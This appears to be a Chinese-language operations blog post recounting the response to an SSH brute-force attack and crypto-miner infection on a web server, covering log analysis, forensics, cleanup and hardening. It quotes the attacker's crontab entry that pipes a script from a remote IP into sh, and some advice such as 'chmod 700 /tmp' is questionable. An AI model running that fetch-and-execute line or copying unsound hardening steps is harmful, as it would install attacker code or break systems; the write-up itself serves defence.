1. 项目背景与问题发现
上周三凌晨2点37分,我例行检查生产环境服务器时,发现某台Web服务器的CPU负载突然飙升至800%。这种异常情况立即触发了我的警觉——正常情况下这台机器的负载应该维持在5%以下。登录服务器后,我习惯性地先查看了/var/log/secure日志,发现大量异常的SSH登录尝试记录:
code复制Jun 12 02:35:12 web01 sshd[28745]: Failed password for root from 61.177.172.136 port 24356 ssh2
Jun 12 02:35:15 web01 sshd[28747]: Failed password for root from 61.177.172.136 port 24562 ssh2
Jun 12 02:35:18 web01 sshd[28749]: Failed password for root from 61.177.172.136 port 24768 ssh2
...
短短5分钟内就有超过2000次来自不同IP的SSH暴力破解尝试。这显然是一次有组织的自动化攻击行为。更令人担忧的是,在/var/log/messages中还发现了异常进程活动:
code复制Jun 12 02:36:22 web01 kernel: [831675.435667] a.out[28801]: segfault at 7f8e3c2b5000 ip 00007f8e3c2b5000 sp 00007ffd5d11e8d0 error 15
这个段错误提示表明攻击者可能已经成功上传并执行了恶意程序。作为有10年运维经验的老兵,我立即意识到必须马上进行完整的入侵分析和安全加固。
2. 入侵痕迹分析与取证
2.1 日志深度分析
首先使用journalctl -u sshd --since "2 hours ago"查看完整的SSH日志时间线。发现攻击者使用了超过300个不同的IP地址进行轮询攻击,主要尝试的用户名包括:
- root (占比85%)
- admin (10%)
- test (3%)
- 其他常见用户名(2%)
通过grep "Accepted" /var/log/secure检查是否有成功登录,幸运的是没有发现成功记录。但进一步检查发现异常:
code复制$ last -f /var/log/wtmp | head
user1 pts/0 61.177.172.136 Wed Jun 12 02:37 - 02:39 (00:02)
这表明攻击者可能通过其他用户凭证获得了访问权限。立即使用ps auxf检查进程树,发现可疑进程:
code复制nobody 28801 0.0 0.1 108876 2348 ? S 02:36 0:00 /tmp/.X11-unix/a.out
2.2 文件系统检查
使用find / -name "a.out" -o -name "*.sh" -mtime -1查找最近修改的可执行文件,发现以下可疑文件:
- /tmp/.X11-unix/a.out
- /var/tmp/.systemd-private/systemd.sh
- /usr/lib/.libc.so.6
通过md5sum计算这些文件的哈希值并在VirusTotal上查询,确认是已知的挖矿木马变种。
2.3 网络连接分析
netstat -antp显示异常外连:
code复制tcp 0 0 192.168.1.100:45782 45.9.148.114:3333 ESTABLISHED 28801/a.out
这个3333端口是已知的矿池通信端口。至此可以确认服务器已被植入挖矿木马。
3. 应急响应与系统恢复
3.1 立即隔离受影响系统
- 断开服务器网络连接:
ifconfig eth0 down - 创建完整系统快照:
dd if=/dev/sda of=/mnt/backup/sda.img bs=1M - 记录所有可疑进程PID:
ps aux | grep -E 'a.out|systemd.sh' > /tmp/malware_pids
3.2 恶意程序清除
- 终止所有可疑进程:
code复制for pid in $(cat /tmp/malware_pids | awk '{print $2}'); do kill -9 $pid done - 删除恶意文件:
code复制rm -f /tmp/.X11-unix/a.out \ /var/tmp/.systemd-private/systemd.sh \ /usr/lib/.libc.so.6 - 检查crontab发现恶意任务:
code复制立即删除:*/30 * * * * curl -s http://45.9.148.114/update.sh | shcrontab -e
3.3 系统完整性检查
- 检查SUID文件:
code复制find / -perm -4000 -type f -exec ls -la {} \; - 验证关键系统文件:
code复制rpm -Va | grep '^..5' - 检查SSH authorized_keys:
code复制for user in $(ls /home); do cat /home/$user/.ssh/authorized_keys done
4. 安全加固方案实施
4.1 SSH安全增强
- 修改/etc/ssh/sshd_config:
code复制PermitRootLogin no PasswordAuthentication no MaxAuthTries 3 LoginGraceTime 1m AllowUsers user1 user2 - 安装fail2ban:
code复制yum install fail2ban systemctl enable --now fail2ban - 配置防火墙规则:
code复制iptables -A INPUT -p tcp --dport 22 -m recent --name ssh --set iptables -A INPUT -p tcp --dport 22 -m recent --name ssh --update --seconds 60 --hitcount 3 -j DROP
4.2 系统级防护
- 安装并配置SELinux:
code复制yum install selinux-policy-targeted setenforce 1 - 限制敏感目录权限:
code复制chmod 700 /tmp /var/tmp chattr +i /etc/passwd /etc/shadow - 启用文件完整性监控:
code复制yum install aide aide --init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
4.3 监控与告警
- 配置日志集中管理:
code复制yum install rsyslog echo "*.* @192.168.1.200:514" > /etc/rsyslog.d/remote.conf systemctl restart rsyslog - 设置实时监控脚本:
bash复制#!/bin/bash while true; do if ps aux | grep -q '[a]\.out'; then echo "Malware detected!" | mail -s "ALERT" admin@example.com fi sleep 60 done
5. 经验总结与后续计划
这次事件让我深刻认识到几个关键点:
- 最小权限原则的重要性:如果最初就禁用root SSH登录和密码认证,可以避免90%的自动化攻击
- 分层防御的必要性:单一防护措施(如防火墙)远远不够,需要网络层、系统层、应用层的多重防护
- 日志分析的价值:及时的日志审查可以大幅缩短MTTD(平均检测时间)
后续改进计划:
- 在所有服务器部署HIDS(主机入侵检测系统)
- 实施定期的红蓝对抗演练
- 建立完善的安全事件响应流程文档
- 对团队进行安全意识培训
关键提示:安全是一个持续的过程而非一次性工作。建议至少每季度进行一次全面的安全审计和渗透测试,始终保持系统防御能力与威胁态势同步进化。